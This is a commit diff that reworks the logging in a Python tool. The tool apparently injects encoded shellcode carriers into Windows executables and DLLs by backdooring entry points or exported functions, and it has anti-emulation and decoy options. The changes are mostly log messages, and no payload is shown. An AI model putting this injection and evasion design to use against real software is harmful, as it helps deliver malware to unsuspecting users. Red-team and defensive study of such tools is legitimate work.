refactor: rework logging

This commit is contained in:
Dobin Rutishauser
2025-06-09 10:10:02 +02:00
parent 4c49f2d816
commit 9ed0469884
12 changed files with 97 additions and 75 deletions
+7 -3
View File
@@ -11,7 +11,8 @@ logger = logging.getLogger("Assembler")
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
logger.info("-[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
logger.info("-[ Carrier: ASM to EXE".format())
logger.info(" Carrier: {} -> {}".format(asm_in, build_exe))
run_process_checkret([
config.get("path_ml64"),
asm_in,
@@ -22,6 +23,9 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
if not os.path.isfile(build_exe):
raise Exception("Compiling failed")
code = extract_code_from_exe_file(build_exe)
logging.info(" Carrier Size: {}".format(
len(code)
))
return code
@@ -30,12 +34,12 @@ def encode_payload(payload: bytes, decoder_style: str) -> bytes:
return bytes(payload)
elif decoder_style == "xor_1":
xor_key = config.xor_key
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
logger.debug(" XOR payload with key 0x{:X}".format(xor_key))
xored = bytes([byte ^ xor_key for byte in payload])
return bytes(xored)
elif decoder_style == "xor_2":
xor_key = config.xor_key2
logger.info("---[ XOR2 payload with key {}".format(xor_key))
logger.debug(" XOR2 payload with key {}".format(xor_key))
xored = bytearray(payload)
for i in range(len(xored)):
xored[i] ^= xor_key[i % 2]
+7 -4
View File
@@ -22,7 +22,7 @@ def compile_dev(
asm_out: FilePath,
short_call_patching: bool = False,
):
logger.info("-( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
logger.info("-( Carrier: Compile C to ASM: {} -> {} ".format(c_in, asm_out))
# Compile C To Assembly (text)
run_process_checkret([
@@ -39,8 +39,10 @@ def compile_dev(
asm_text: str = file_readall_text(asm_out)
observer.add_text_file("carrier_asm_orig", asm_text)
logger.info("---[ ASM masm_shc: {} ".format(asm_out))
asm_text_lines: List[str] = parse_asm_text_file(Carrier(), asm_text)
logger.info(" ASM masm_shc: {} ".format(asm_out))
settings = Settings()
injectable = Injectable("test.exe") # ???
asm_text_lines: List[str] = parse_asm_text_file(injectable, asm_text, settings)
asm_text = masm_shc(asm_text_lines)
observer.add_text_file("carrier_asm_cleanup", asm_text)
@@ -54,7 +56,8 @@ def compile(
injectable: Injectable,
settings: Settings,
):
logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
logger.info("-[ Carrier: Compile C to ASM".format())
logger.info(" Carrier: {} -> {} ".format(c_in, asm_out))
# Compile C To Assembly (text)
run_process_checkret([
+18 -18
View File
@@ -114,7 +114,8 @@ class Injector():
exe_out = self.settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
logger.info("-[ Injecting into {} -> {}".format(exe_in, exe_out))
logger.info("-[ Injecting Carrier".format())
logger.info(" Injectable: {} -> {}".format(exe_in, exe_out))
# Patch IAT (if necessary and wanted)
self.injectable_patch_iat()
@@ -124,7 +125,7 @@ class Injector():
# Special case: DLL exported function direct overwrite
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(self.settings.dllfunc))
logger.warning(" Inject DLL: Overwrite exported function {} with shellcode".format(self.settings.dllfunc))
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
# Size and sanity checks
@@ -136,13 +137,13 @@ class Injector():
# Inject
carrier_offset = self.superpe.get_offset_from_rva(rva)
logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
logger.info(f'- Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
else: # EXE/DLL
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
#logger.info("{} {}".format(self.carrier_rva, carrier_offset))
logger.info("--( Inject: Write Carrier to 0x{:X} (0x{:X})".format(
logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset))
# Copy the carrier
@@ -156,27 +157,27 @@ class Injector():
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
logger.info(" Inject: Backdoor DLL {} (0x{:X})".format(
self.settings.dllfunc, addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format(
logger.info(" Inject: Change Entry Point to 0x{:X}".format(
self.carrier_rva))
self.superpe.set_entrypoint(self.carrier_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.get_entrypoint()
logger.info("--( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
logger.info(" Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
logger.info("--( Fix imports and make carrier reference IAT")
logger.info(" Fix imports and make carrier reference IAT")
self.injectable_write_iat_references()
logger.info("--( Insert and reference carrier data")
logger.info(" Insert and reference carrier data")
self.inject_and_reference_data()
# changes from console to UI (no console window) if necessary
@@ -188,7 +189,7 @@ class Injector():
self.superpe.pe.OPTIONAL_HEADER.CheckSum = new_checksum
# We done
logger.info("--( Write to file: {}".format(exe_out))
logger.info("-[ Write to file: {}".format(exe_out))
self.superpe.write_pe_to_file(exe_out)
# Log
@@ -198,13 +199,13 @@ class Injector():
def injectable_patch_iat(self):
logger.info("--( Checking if IAT entries required by carrier are available")
logger.info(" Checking if IAT entries required by carrier are available")
# Patch IAT (if necessary and wanted)
for iatRequest in self.injectable.get_all_iat_requests():
# skip available
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None:
logger.debug("---[ Request IAT {} is available at 0x{:X}".format(
logger.debug(" Request IAT {} is available at 0x{:X}".format(
iatRequest.name, addr))
continue
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
@@ -265,9 +266,8 @@ class Injector():
return
# insert data
logger.info("--( DataReuseFixups: Inject the data")
for datareuse_fixup in reusedata_fixups:
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
datareuse_fixup.string_ref, datareuse_fixup.in_code))
if datareuse_fixup.in_code: # .text
@@ -277,7 +277,7 @@ class Injector():
if payload_rva == None:
raise Exception("DataReuseFixup: payload_rva is None")
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
logging.debug(" Add to .text at 0x{:X} ({}): {} with size {}".format(
logging.debug(" Add to .text at 0x{:X} ({}): {} with size {}".format(
datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
else: # .rdata
@@ -294,11 +294,11 @@ class Injector():
self.superpe.pe.set_bytes_at_rva(data_rva, var_data)
datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base()
##
logging.debug(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
logging.debug(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
# replace the placeholder in .text with a LEA instruction to the data we written above
logger.info("--( Datareusefixups: patch code to reference the data")
logger.info(" Datareusefixups: patch code to reference the data")
code = self.superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups:
ref: DataReuseReference
@@ -327,7 +327,7 @@ class Injector():
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
logger.info("---[ Verify infected exe: {} ".format(exefile))
logger.info(" Verify infected exe: {} ".format(exefile))
# remove indicator file
pathlib.Path(VerifyFilename).unlink(missing_ok=True)
+31 -2
View File
@@ -23,10 +23,39 @@ def get_template_names() -> List[str]:
def create_c_from_template(settings: Settings, payload_len: int):
logger.info("-[ Create C from template: {} -> {}".format(
PATH_DECODER, settings.main_c_path))
plugin_decoder = ""
src = "{}{}/".format(PATH_CARRIER, settings.carrier_name)
dst = "{}{}/".format(PATH_WEB_PROJECT, settings.project_name)
logger.info("-[ Carrier create Template: {}".format(
settings.main_c_path))
# copy *.c *.h files from src directory to dst directory
for file in os.listdir(src):
if file.endswith(".c") or file.endswith(".h"):
logger.debug(" Copy {} to {}".format(src + file, dst))
shutil.copy2(src + file, dst)
logger.info(" Carrier: {}".format(
settings.carrier_name))
logger.info(" Carrier: Code into: {}".format(
settings.payload_location.value))
logger.info(" Carrier: Decoder: {}".format(
settings.decoder_style))
logger.info(" Carrier: Invoker: {}".format(
settings.carrier_invoke_style.value))
logger.info(" Carrier AntiEmulation: {}".format(
settings.plugin_antiemulation)
)
logger.info(" Carrier Guardrail: {}".format(
settings.plugin_guardrail)
)
logger.info(" Carrier Decoy: {}".format(
settings.plugin_decoy)
)
# Plugin: VirtualAlloc
filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format(
settings.plugin_virtualprotect)